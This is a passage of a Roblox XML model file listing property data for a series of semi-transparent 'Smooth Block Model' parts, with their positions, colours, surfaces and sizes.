				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1106">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0001259</X>
					<Y>4.59962654</Y>
					<Z>20.0001526</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000786813791</X>
					<Y>0.0917104632</Y>
					<Z>-0.000247492804</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00156876468</X>
					<Y>-0.00542632444</Y>
					<Z>0.00421428168</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1107">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0001106</X>
					<Y>3.39961195</Y>
					<Z>20.0001488</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000786813791</X>
					<Y>0.0917104632</Y>
					<Z>-0.000247492804</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00127177325</X>
					<Y>-0.00542632071</Y>
					<Z>0.00515985768</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1108">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.000164</X>
					<Y>3.39962578</Y>
					<Z>17.9999962</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00134955195</X>
					<Y>0.063908346</Y>
					<Z>-0.00019630765</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00328342896</X>
					<Y>0.00694809947</Y>
					<Z>-0.000825209136</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1109">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000534</X>
					<Y>8.19932747</Y>
					<Z>23.9999046</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1110">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000916</X>
					<Y>6.99921703</Y>
					<Z>22.0006962</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1111">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>55</X>
					<Y>3.3999939</Y>
					<Z>30.5000134</Z>
					<R00>1.04866194e-005</R00>
					<R01>0</R01>
					<R02>-0.99999994</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0.99999994</R20>
					<R21>0</R21>
					<R22>1.04866194e-005</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>6</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1112">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000534</X>
					<Y>6.99926567</Y>
					<Z>23.9999027</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1113">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000954</X>
					<Y>5.79921722</Y>
					<Z>22.0006771</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1114">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.000351</X>
					<Y>0.999708056</Y>
					<Z>16.0002041</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000938967511</X>
					<Y>0.065105997</Y>
					<Z>0.000350015209</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.000732618093</X>
					<Y>0.00366102578</Y>
					<Z>0.00502912886</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1115">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0001526</X>
					<Y>2.19970369</Y>
					<Z>18.0000076</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00134955195</X>
					<Y>0.063908346</Y>
					<Z>-0.00019630765</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00304883486</X>
					<Y>0.00694808178</Y>
					<Z>-0.00244369637</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1116">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0002937</X>
					<Y>4.59964466</Y>
					<Z>16.0002747</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000938967511</X>
					<Y>0.065105997</Y>
					<Z>0.000350015209</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00052445638</X>
					<Y>0.00366105302</Y>
					<Z>0.00165182597</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1117">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0001793</X>
					<Y>4.5996418</Y>
					<Z>17.9999847</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00134955195</X>
					<Y>0.063908346</Y>
					<Z>-0.00019630765</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00351802306</X>
					<Y>0.00694811717</Y>
					<Z>0.000793278101</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1118">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003052</X>
					<Y>3.39962769</Y>
					<Z>16.0002556</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000938967511</X>
					<Y>0.065105997</Y>
					<Z>0.000350015209</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.000105431551</X>
					<Y>0.00366104394</Y>
					<Z>0.00277759368</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1119">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003128</X>
					<Y>3.39894295</Y>
					<Z>13.9998569</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>-0</R10>
					<R11>1</R11>
